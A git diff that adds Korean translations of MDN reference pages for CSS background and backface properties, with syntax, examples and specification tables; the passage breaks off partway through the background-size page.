{{SpecName('Filters 2.0', '#BackdropFilterProperty', 'backdrop-filter')}}{{Spec2('Filters 2.0')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.backdrop-filter")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("filter")}}
  • +
diff --git a/files/ko/web/css/backface-visibility/index.html b/files/ko/web/css/backface-visibility/index.html new file mode 100644 index 0000000000..49c365e5f9 --- /dev/null +++ b/files/ko/web/css/backface-visibility/index.html @@ -0,0 +1,217 @@ +--- +title: backface-visibility +slug: Web/CSS/backface-visibility +tags: + - CSS + - CSS Property + - CSS Transforms + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/backface-visibility +--- +
{{CSSRef}}
+ +

CSS backface-visibility 속성은 요소의 뒷면이 사용자를 향할 때 보여야 하는지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/backface-visibility.html")}}
+ + + +

요소의 뒷면은 앞면의 거울상입니다. 2D 상태에서는 볼 수 없지만 변형을 통해 3D 공간에서 회전되면 노출될 수 있습니다. (2D 변형에는 원근이 없으므로 효과가 없습니다.)

+ +

구문

+ +
/* 키워드 값 */
+backface-visibility: visible;
+backface-visibility: hidden;
+
+/* 전역 값 */
+backface-visibility: inherit;
+backface-visibility: initial;
+backface-visibility: unset;
+ +

backface-visibility 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.

+ +

+ +
+
visible
+
뒷면이 사용자를 향하면 보입니다.
+
hidden
+
뒷면이 사용자를 향해도 보이지 않습니다. 요소가 뒤를 향하면 사용자로부터 숨기는 것과 같습니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

육면체의 뒷면 비교

+ +

아래 예제는 투명한 뒷면의 육면체와 불투명한 뒷면의 육면체를 하나씩 보입니다.

+ +

HTML

+ +
<table>
+  <tr>
+    <th><code>backface-visibility: visible;</code></th>
+    <th><code>backface-visibility: hidden;</code></th>
+  </tr>
+  <tr>
+    <td>
+      <div class="container">
+        <div class="cube showbf">
+          <div class="face front">1</div>
+          <div class="face back">2</div>
+          <div class="face right">3</div>
+          <div class="face left">4</div>
+          <div class="face top">5</div>
+          <div class="face bottom">6</div>
+        </div>
+      </div>
+      <p>
+        Since all faces are partially transparent,
+        the back faces (2, 4, 5) are visible
+        through the front faces (1, 3, 6).
+      </p>
+    </td>
+    <td>
+      <div class="container">
+        <div class="cube hidebf">
+          <div class="face front">1</div>
+          <div class="face back">2</div>
+          <div class="face right">3</div>
+          <div class="face left">4</div>
+          <div class="face top">5</div>
+          <div class="face bottom">6</div>
+        </div>
+      </div>
+      <p>
+        The three back faces (2, 4, 5) are
+        hidden.
+      </p>
+    </td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Classes that will show or hide the
+   three back faces of the "cube" */
+.showbf div {
+  backface-visibility: visible;
+}
+
+.hidebf div {
+  backface-visibility: hidden;
+}
+
+/* Define the container div, the cube div, and a generic face */
+.container {
+  width: 150px;
+  height: 150px;
+  margin: 75px 0 0 75px;
+  border: none;
+}
+
+.cube {
+  width: 100%;
+  height: 100%;
+  perspective: 550px;
+  perspective-origin: 150% 150%;
+  transform-style: preserve-3d;
+}
+
+.face {
+  display: block;
+  position: absolute;
+  width: 100px;
+  height: 100px;
+  border: none;
+  line-height: 100px;
+  font-family: sans-serif;
+  font-size: 60px;
+  color: white;
+  text-align: center;
+}
+
+/* Define each face based on direction */
+.front {
+  background: rgba(0, 0, 0, 0.3);
+  transform: translateZ(50px);
+}
+
+.back {
+  background: rgba(0, 255, 0, 1);
+  color: black;
+  transform: rotateY(180deg) translateZ(50px);
+}
+
+.right {
+  background: rgba(196, 0, 0, 0.7);
+  transform: rotateY(90deg) translateZ(50px);
+}
+
+.left {
+  background: rgba(0, 0, 196, 0.7);
+  transform: rotateY(-90deg) translateZ(50px);
+}
+
+.top {
+  background: rgba(196, 196, 0, 0.7);
+  transform: rotateX(90deg) translateZ(50px);
+}
+
+.bottom {
+  background: rgba(196, 0, 196, 0.7);
+  transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* Make the table a little nicer */
+th, p, td {
+  background-color: #EEEEEE;
+  margin: 0px;
+  padding: 6px;
+  font-family: sans-serif;
+  text-align: left;
+}
+ +

결과

+ +

{{EmbedLiveSample('육면체의_뒷면_비교', '100%', 360)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS Transforms 2', '#propdef-backface-visibility', 'backface-visibility')}}{{Spec2('CSS Transforms 2')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.backface-visibility")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/background-attachment/index.html b/files/ko/web/css/background-attachment/index.html new file mode 100644 index 0000000000..a72fce431f --- /dev/null +++ b/files/ko/web/css/background-attachment/index.html @@ -0,0 +1,153 @@ +--- +title: background-attachment +slug: Web/CSS/background-attachment +tags: + - CSS + - CSS Background + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/background-attachment +--- +
{{CSSRef}}
+ +

CSS background-attachment 속성은 배경 이미지를 {{glossary("viewport", "뷰포트")}} 내에서 고정할지, 아니면 자신의 컨테이닝 블록과 함께 스크롤할지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background-attachment.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+background-attachment: scroll;
+background-attachment: fixed;
+background-attachment: local;
+
+/* 전역 값 */
+background-attachment: inherit;
+background-attachment: initial;
+background-attachment: unset;
+
+ +

background-attachment 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.

+ +

+ +
+
fixed
+
배경을 뷰포트에 대해 고정합니다. 요소에 스크롤이 존재해도 배경은 함께 스크롤되지 않습니다. 이 값은 {{cssxref("background-clip", "background-clip: text", "#text")}}와 호환되지 않습니다.
+
local
+
배경을 요소 콘텐츠에 대해 고정합니다. 요소에 스크롤이 존재하면 배경은 콘텐츠와 함께 스크롤됩니다. 배경 페인트 영역과 배경 위치 영역은 테두리 틀이 아닌 스크롤 가능 영역을 기준점으로 삼습니다.
+
scroll
+
배경을 요소 자체에 대해 고정합니다. 요소에 스크롤이 존재해도 배경은 함께 스크롤되지 않습니다. 즉 요소의 테두리에 배경 이미지를 부착한 것과 같은 효과입니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

간단한 예제

+ +

HTML

+ +
<p>
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+</p>
+ +

CSS

+ +
p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+  background-attachment: fixed;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("간단한_예제")}}

+ +

다중 배경 이미지

+ +

background-attachment는 다중 배경 이미지를 지원합니다. 각 배경에 대해 <attachment>를 지정하려면 쉼표로 구분하여 다수의 값을 제공하세요. 주어진 순서대로 배경에 적용합니다.

+ +

HTML

+ +
<p>
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+
+  Suddenly she came upon a little three-legged table, all made of solid
+  glass; there was nothing on it except a tiny golden key, and Alice's
+  first thought was that it might belong to one of the doors of the hall;
+  but, alas! either the locks were too large, or the key was too small,
+  but at any rate it would not open any of them. However, on the second
+  time round, she came upon a low curtain she had not noticed before, and
+  behind it was a little door about fifteen inches high: she tried the
+  little golden key in the lock, and to her great delight it fitted!
+</p>
+ +

CSS

+ +
p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"),
+      url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+  background-attachment: fixed, scroll;
+  background-repeat: no-repeat, repeat-y;
+}
+ +

결과

+ +

{{EmbedLiveSample("다중_배경_이미지")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}{{Spec2('CSS3 Backgrounds')}}The shorthand property has been extended to support multiple backgrounds and the local value.
{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}{{Spec2('CSS2.1')}}No significant change.
{{SpecName('CSS1', '#background-attachment', 'background-attachment')}}{{Spec2('CSS1')}}No significant change.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-attachment")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/background-clip/index.html b/files/ko/web/css/background-clip/index.html new file mode 100644 index 0000000000..07d3676b80 --- /dev/null +++ b/files/ko/web/css/background-clip/index.html @@ -0,0 +1,129 @@ +--- +title: background-clip +slug: Web/CSS/background-clip +tags: + - CSS + - CSS Background + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/background-clip +--- +
{{CSSRef}}
+ +

CSS background-clip 속성은 요소의 배경이 테두리, 안쪽 여백, 콘텐츠 상자 중 어디까지 차지할 지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background-clip.html")}}
+ + + +

요소가 {{cssxref("background-image")}} 또는 {{cssxref("background-color")}}를 가지지 않으면, background-clip은 ({{cssxref("border-style")}} 또는 {{cssxref("border-image")}} 등으로 인해) 테두리에 투명하거나 반투명한 부분이 존재하는 경우에만 시각적 차이가 발생합니다. 그렇지 않은 경우 테두리가 차이점을 가립니다.

+ +

구문

+ +
/* 키워드 값 */
+background-clip: border-box;
+background-clip: padding-box;
+background-clip: content-box;
+background-clip: text;
+
+/* 전역 값 */
+background-clip: inherit;
+background-clip: initial;
+background-clip: unset;
+
+ +

+ +
+
border-box
+
배경이 테두리의 바깥 경계까지 차지합니다. (Z축 순서 상 테두리 아래 위치)
+
padding-box
+
배경이 안쪽 여백의 바깥 경계까지 차지합니다. 테두리 밑에는 배경을 그리지 않습니다.
+
content-box
+
배경을 콘텐츠 상자에 맞춰 그립니다.
+
text {{experimental_inline}}
+
배경을 전경 텍스트 위에만 그립니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<p class="border-box">The background extends behind the border.</p>
+<p class="padding-box">The background extends to the inside edge of the border.</p>
+<p class="content-box">The background extends only to the edge of the content box.</p>
+<p class="text">The background is clipped to the foreground text.</p>
+
+ +

CSS

+ +
p {
+  border: .8em darkviolet;
+  border-style: dotted double;
+  margin: 1em 0;
+  padding: 1.4em;
+  background: linear-gradient(60deg, red, yellow, red, yellow, red);
+  font: 900 1.2em sans-serif;
+  text-decoration: underline;
+}
+
+.border-box { background-clip: border-box; }
+.padding-box { background-clip: padding-box; }
+.content-box { background-clip: content-box; }
+
+.text {
+  background-clip: text;
+  -webkit-background-clip: text;
+  color: rgba(0,0,0,.2);
+}
+ +

결과

+ +

{{EmbedLiveSample('예제', 600, 580)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background-clip', 'background-clip')}}{{Spec2('CSS3 Backgrounds')}}Initial definition.
{{SpecName('CSS4 Backgrounds', '#background-clip', 'background-clip')}}{{Spec2('CSS4 Backgrounds')}}Add text value.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-clip")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("clip-path")}} 속성은 배경 뿐 아니라 하나의 요소 전체에서 표시할 부분을 지정하는 클리핑 영역을 생성합니다.
  • +
  • 배경 속성: {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}
  • +
  • CSS 기본 박스 모델 입문
  • +
diff --git a/files/ko/web/css/background-color/index.html b/files/ko/web/css/background-color/index.html new file mode 100644 index 0000000000..d0e7402d56 --- /dev/null +++ b/files/ko/web/css/background-color/index.html @@ -0,0 +1,169 @@ +--- +title: background-color +slug: Web/CSS/background-color +tags: + - CSS + - CSS Background + - CSS Property + - Graphics + - HTML Colors + - HTML Styles + - Layout + - Reference + - Styles + - Styling HTML +translation_of: Web/CSS/background-color +--- +
{{CSSRef}}
+ +

CSS background-color 속성은 요소의 배경 색을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background-color.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+background-color: red;
+background-color: indigo;
+
+/* 16진수 값 */
+background-color: #bbff00;    /* 완전 불투명 */
+background-color: #bf0;       /* 완전 불투명 단축 */
+background-color: #11ffee00;  /* 완전 투명 */
+background-color: #1fe0;      /* 완전 투명 단축 */
+background-color: #11ffeeff;  /* 완전 불투명 */
+background-color: #1fef;      /* 완전 불투명 단축 */
+
+/* RGB 값 */
+background-color: rgb(255, 255, 128);        /* 완전 불투명 */
+background-color: rgba(117, 190, 218, 0.5);  /* 50% 불투명도 */
+
+/* HSL 값 */
+background-color: hsl(50, 33%, 25%);         /* 완전 불투명 */
+background-color: hsla(50, 33%, 25%, 0.75);  /* 75% 불투명도 */
+
+/* 특별 키워드 값 */
+background-color: currentcolor;
+background-color: transparent;
+
+/* 전역 값 */
+background-color: inherit;
+background-color: initial;
+background-color: unset;
+ +

background-color 속성은 하나의 {{cssxref("<color>")}} 값을 사용해 지정합니다.

+ +

+ +
+
{{cssxref("color")}}
+
요소의 배경으로 사용할 단일 색상입니다. {{cssxref("background-image")}} 뒤에 렌더링 되므로, 이미지가 투명한 부분을 가지고 있으면 그 곳을 통해 볼 수 있습니다.
+
+ +

접근성 고려사항

+ +

낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.

+ +

색상 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 웹 콘텐츠 접근성 가이드라인(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 굵은 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.

+ + + +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

HTML

+ +
<div class="exampleone">
+ Lorem ipsum dolor sit amet, consectetuer
+</div>
+
+<div class="exampletwo">
+  Lorem ipsum dolor sit amet, consectetuer
+</div>
+
+<div class="examplethree">
+  Lorem ipsum dolor sit amet, consectetuer
+</div>
+ +

CSS

+ +
.exampleone {
+  background-color: teal;
+  color: white;
+}
+
+.exampletwo {
+  background-color: rgb(153,102,153);
+  color: rgb(255,255,204);
+}
+
+.examplethree {
+  background-color: #777799;
+  color: #FFFFFF;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제","200","150")}}

+ +
    +
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세주석피드백
{{ SpecName('CSS3 Backgrounds', '#background-color', 'background-color') }}Though technically removing the transparent keyword, this doesn't change anything as it has been incorporated as a true {{cssxref("<color>")}}Backgrounds Level 3 GitHub issues
{{ SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color') }}No change.
{{ SpecName('CSS1', '#background-color', 'background-color') }}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-color")}}

+ +

더 보기

+ +
    +
  • 한 번에 여러 배경 사용하기
  • +
  • {{cssxref("<color>")}} 자료형
  • +
  • 색상 관련 다른 속성: {{cssxref("color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}
  • +
  • CSS로 HTML 요소에 색입히기
  • +
diff --git a/files/ko/web/css/background-image/index.html b/files/ko/web/css/background-image/index.html new file mode 100644 index 0000000000..0fce6c9b93 --- /dev/null +++ b/files/ko/web/css/background-image/index.html @@ -0,0 +1,152 @@ +--- +title: background-image +slug: Web/CSS/background-image +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-image +--- +
{{CSSRef}}
+ +

CSS background-image 속성은 요소의 배경 이미지를 한 개나 여러 개 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background-image.html")}}
+ + + +

여러 개의 배경 이미지는 쌓임 맥락에 따라 서로의 위에 놓입니다. 맨 처음 지정한 이미지가 제일 위에(사용자에게 제일 가까운 것 처럼) 위치합니다.

+ +

테두리는 배경 이미지 위에, {{cssxref("background-color")}}는 밑에 그려집니다. 요소 박스와 테두리에 관련하여 배경 이미지를 어떻게 그릴지는 {{cssxref("background-clip")}}과 {{cssxref("background-origin")}} CSS 속성이 정의합니다.

+ +

브라우저는 값에 유효하지 않은 URI를 지정하는 등 주어진 이미지를 그릴 수 없을 때 none 키워드를 사용한 것처럼 처리합니다.

+ +
참고: 지정한 이미지가 불투명해서 아래의 배경색을 볼 수 없더라도 {{cssxref("background-color")}}는 지정해야 합니다. 네트워크가 내려가는 등 이미지를 불러올 수 없는 상황에서 배경 색이 대체할 수 있기 때문입니다,
+ +

구문

+ +

각각의 배경 이미지는 {{anch("none")}} 키워드나 {{cssxref("<image>")}} 값으로 지정할 수 있습니다.

+ +

여러 개의 배경 이미지를 지정하려면 쉼표로 구분한 다수의 값을 지정하세요.

+ +
background-image:
+  linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)),
+  url('https://mdn.mozillademos.org/files/7693/catfront.png');
+ +

+ +
+
none
+
배경 이미지의 부재를 나타내는 키워드입니다.
+
{{cssxref("<image>")}}
+
배경으로 사용할 이미지입니다. 여러 개의 배경 이미지를 사용할 땐 쉼표로 구분한 다수의 값을 지정하세요.
+
+ +

접근성 고려사항

+ +

브라우저는 배경 이미지에 대한 어떠한 추가 정보도 접근성 보조 기술에 제공하지 않습니다. 특히 스크린 리더의 경우 배경 이미지의 존재 유무조차 알려주지 않습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.

+ + + +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

배경 이미지 레이어링

+ +

별 모양 이미지는 배경이 투명하고, 고양이 이미지 위에 위치합니다.

+ +

HTML

+ +
<div>
+  <p class="catsandstars">
+    This paragraph is full of cats<br />and stars.
+  </p>
+  <p>This paragraph is not.</p>
+  <p class="catsandstars">
+    Here are more cats for you.<br />Look at them!
+  </p>
+  <p>And no more.</p>
+</div>
+ +

CSS

+ +
p {
+  font-size: 1.5em;
+  color: #FE7F88;
+  background-image: none;
+  background-color: transparent;
+}
+
+div {
+  background-image:
+      url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
+}
+
+.catsandstars {
+  background-image:
+      url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
+      url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-color: transparent;
+}
+ +

결과

+ +

{{EmbedLiveSample('배경_이미지_레이어링')}}

+ +
    +
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태주석
{{ SpecName('CSS3 Backgrounds', '#background-image', 'background-image') }}{{ Spec2('CSS3 Backgrounds') }}From CSS2 Revision 1, the property has been extended to support multiple backgrounds and any {{cssxref("<image>")}} CSS data type.
{{ SpecName('CSS2.1', 'colors.html#propdef-background-image', 'background-image') }}{{ Spec2('CSS2.1') }}From CSS1, the way images with and without intrinsic dimensions are handled is now described.
{{ SpecName('CSS1', '#background-image', 'background-image') }}{{ Spec2('CSS1') }}
+ +

브라우저 호환성

+ + + +
{{Compat("css.properties.background-image")}}
+ +

같이 보기

+ +
    +
  • CSS로 이미지 스프라이트 구현하기
  • +
  • {{HTMLElement("img")}}
  • +
  • 이미지 관련 자료형: {{cssxref("<image>")}}, {{cssxref("<gradient>")}}
  • +
  • 이미지 관련 함수: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("element")}}, {{cssxref("_image", "image()")}}, {{cssxref("image-set")}}, {{cssxref("url", "url()")}}
  • +
diff --git a/files/ko/web/css/background-origin/index.html b/files/ko/web/css/background-origin/index.html new file mode 100644 index 0000000000..4a92509f69 --- /dev/null +++ b/files/ko/web/css/background-origin/index.html @@ -0,0 +1,113 @@ +--- +title: background-origin +slug: Web/CSS/background-origin +tags: + - CSS + - CSS Background + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/background-origin +--- +
{{CSSRef}}
+ +

CSS background-origin 속성은 배경의 원점을 테두리 시작점, 테두리 내부, 안쪽 여백 내부 중 하나로 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background-origin.html")}}
+ + + +

{{cssxref("background-attachment")}}가 fixed인 경우 background-origin은 무시됩니다.

+ +

구문

+ +
/* 키워드 값 */
+background-origin: border-box;
+background-origin: padding-box;
+background-origin: content-box;
+
+/* 전역 값 */
+background-origin: inherit;
+background-origin: initial;
+background-origin: unset;
+
+ +

background-origin 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.

+ +

+ +
+
border-box
+
배경을 테두리 박스에 상대적으로 배치합니다.
+
padding-box
+
배경을 안쪽 여백 박스에 상대적으로 배치합니다.
+
content-box
+
배경을 콘텐츠 박스에 상대적으로 배치합니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

배경 원점 설정하기

+ +
.example {
+  border: 10px double;
+  padding: 10px;
+  background: url('image.jpg');
+  background-position: center left;
+  background-origin: content-box;
+}
+
+ +
#example2 {
+  border: 4px solid black;
+  padding: 10px;
+  background: url('image.gif');
+  background-repeat: no-repeat;
+  background-origin: border-box;
+}
+
+ +
div {
+  background-image: url('logo.jpg'), url('mainback.png'); /* Applies two images to the background */
+  background-position: top right, 0px 0px;
+  background-origin: content-box, padding-box;
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background-origin', 'background-origin')}}{{Spec2('CSS3 Backgrounds')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-origin")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("background-clip")}}
  • +
diff --git a/files/ko/web/css/background-repeat/index.html b/files/ko/web/css/background-repeat/index.html new file mode 100644 index 0000000000..5183ad67d6 --- /dev/null +++ b/files/ko/web/css/background-repeat/index.html @@ -0,0 +1,233 @@ +--- +title: background-repeat +slug: Web/CSS/background-repeat +tags: + - CSS + - CSS Background + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/background-repeat +--- +
{{CSSRef}}
+ +

CSS background-repeat 속성은 배경 이미지의 반복 방법을 지정합니다. 가로축 및 세로축을 따라 반복할 수 있고, 아예 반복하지 않을 수도 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/background-repeat.html")}}
+ + + +

반복한 이미지는 기본값에선 요소 크기에 따라 잘릴 수 있지만, 잘리지 않도록 배경 이미지 크기를 조절하거나(round) 끝에서 끝까지 고르게 분배(space)할 수 있습니다.

+ +

구문

+ +
/* 키워드 값 */
+background-repeat: repeat-x;
+background-repeat: repeat-y;
+background-repeat: repeat;
+background-repeat: space;
+background-repeat: round;
+background-repeat: no-repeat;
+
+/* 2개 값 구문: 가로 | 세로 */
+background-repeat: repeat space;
+background-repeat: repeat repeat;
+background-repeat: round space;
+background-repeat: no-repeat round;
+
+/* 전역 값 */
+background-repeat: inherit;
+background-repeat: initial;
+background-repeat: unset;
+
+ +

+ +
+
<repeat-style>
+
한 개 값 구문은 두 개 값 구문의 단축 형태입니다.
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
한 개 값두 개 값
repeat-xrepeat no-repeat
repeat-yno-repeat repeat
repeatrepeat repeat
spacespace space
roundround round
no-repeatno-repeat no-repeat
+ 두 개 값 구문의 앞쪽은 가로 반복 방법을, 뒤쪽은 세로 반복 방법을 설정합니다. 각 방법의 동작 방식은 아래 표와 같습니다.
+
+ + + + + + + + + + + + + + + + + + + +
repeat요소의 배경 영역을 채울 때까지 이미지를 반복합니다. 마지막 반복 이미지가 넘칠 경우 잘라냅니다.
space요소가 잘리지 않을 만큼 이미지를 반복합니다. 제일 처음과 마지막 반복 이미지는 요소의 양쪽 끝에 고정되고, 각 이미지 사이에 남은 여백을 고르게 분배합니다. 잘리지 않고 배치할 수 있는 이미지가 단 한 장인 경우가 아니라면 {{cssxref("background-position")}} 속성은 무시합니다. space를 사용했는데 이미지가 잘리는 경우는 그 크기가 너무 커서 한 장 조차 넣을 수 없는 경우뿐입니다.
round가용 영역이 늘어나면 반복 이미지도 늘어나 여백을 남기지 않습니다. 이미지를 하나 더 추가할 공간이 생기면 (남은 공간 >= 이미지 너비의 절반) 비로소 반복 횟수를 하나 추가합니다. 이 때, 원래 존재하던 이미지는 모두 줄어들어 새로운 이미지를 위한 공간을 확보합니다. 예시: 원래 너비가 260px이고, 세 번 반복된 이미지는 각자 300px 너비가 될 때까지 늘어날 수 있습니다. 그 후에는 이미지를 추가하고, 각자 225px로 줄어듭니다.
no-repeat이미지를 반복하지 않습니다. 따라서 배경 이미지 영역이 다 차지 않을 수 있습니다. 반복하지 않은 이미지의 위치는 {{cssxref("background-position")}} CSS속성이 설정합니다.
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

HTML

+ +
<ol>
+  <li>no-repeat
+    <div class="one"></div>
+  </li>
+  <li>repeat
+    <div class="two"></div>
+  </li>
+  <li>repeat-x
+    <div class="three"></div>
+  </li>
+  <li>repeat-y
+    <div class="four"></div>
+  </li>
+  <li>space
+    <div class="five"></div>
+  </li>
+  <li>round
+    <div class="six"></div>
+  </li>
+  <li>repeat-x, repeat-y (multiple images)
+    <div class="seven"></div>
+  </li>
+</ol>
+ +

CSS

+ +
/* Shared for all DIVS in example */
+ol,
+li {
+  margin: 0;
+  padding: 0;
+}
+li {
+  margin-bottom: 12px;
+}
+div {
+    background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
+    width: 160px;
+    height: 70px;
+}
+
+/* Background repeats */
+.one {
+  background-repeat: no-repeat;
+}
+.two {
+  background-repeat: repeat;
+}
+.three {
+  background-repeat: repeat-x;
+}
+.four {
+  background-repeat: repeat-y;
+}
+.five {
+  background-repeat: space;
+}
+.six {
+  background-repeat: round;
+}
+
+/* Multiple images */
+.seven {
+  background-image:  url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
+                     url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png);
+  background-repeat: repeat-x,
+                     repeat-y;
+  height: 144px;
+}
+ +

결과

+ +

{{EmbedLiveSample('예제', 240, 560)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}{{Spec2('CSS3 Backgrounds')}}Adds support for multiple background images, the two-value syntax allowing distinct repetition behavior for the horizontal and vertical directions, the space and round keywords, and for backgrounds on inline-level elements by precisely defining the background painting area.
{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#background-repeat', 'background-repeat')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-repeat")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/background-size/index.html b/files/ko/web/css/background-size/index.html new file mode 100644 index 0000000000..db02fe7030 --- /dev/null +++ b/files/ko/web/css/background-size/index.html @@ -0,0 +1,196 @@ +--- +title: background-size +slug: Web/CSS/background-size +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-size +--- +
{{CSSRef}}
+ +
CSS background-size 속성은 요소 배경 이미지의 크기를 설정합니다. 그대로 두거나, 늘리고 줄이거나, 공간에 맞출 수 있습니다.
+ +
+ +
{{EmbedInteractiveExample("pages/css/background-size.html")}}
+ + + +

배경 이미지로 덮이지 않은 공간은 {{cssxref("background-color")}} 속성으로 채워지고, 배경 이미지에서 투명하거나 반투명한 부분을 통해서도 배경색이 보입니다.

+ +

구문

+ +
/* 키워드 값 */
+background-size: cover;
+background-size: contain;
+
+/* 단일 값 구문 */
+/* 이미지 너비 (높이는 'auto'가 됨) */
+background-size: 50%;
+background-size: 3.2em;
+background-size: 12px;
+background-size: auto;
+
+/* 두 개 값 구문 */
+/* 첫 번째 값: 이미지 너비, 두 번째 값: 이미지 높이 */
+background-size: 50% auto;
+background-size: 3em 25%;
+background-size: auto 6px;
+background-size: auto auto;
+
+/* 다중 배경 */
+background-size: auto, auto; /* `auto auto`와 혼동하지 말 것 */
+background-size: 50%, 25%, 25%;
+background-size: 6px, auto, contain;
+
+/* 전역 값 */
+background-size: inherit;
+background-size: initial;
+background-size: unset;
+
+ +

 background-size 속성은 다음 방법 중 하나로 지정할 수 있습니다. 

+ +
    +
  • contain 또는 cover 키워드 값 사용.
  • +
  • 너비 값만 사용. 높이는 자동으로 {{anch("auto")}}가 됩니다.
  • +
  • 너비와 높이 값을 모두 사용. 첫 번째 값은 너비로, 두 번째 값은 높이를 설정합니다. 각 값은 {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, {{anch("auto")}}를 사용할 수 있습니다.
  • +
+ +

여러 배경 이미지의 사이즈를 지정하려면 각각의 값을 쉼표로 구분하세요.

+ +

+ +
+
contain
+
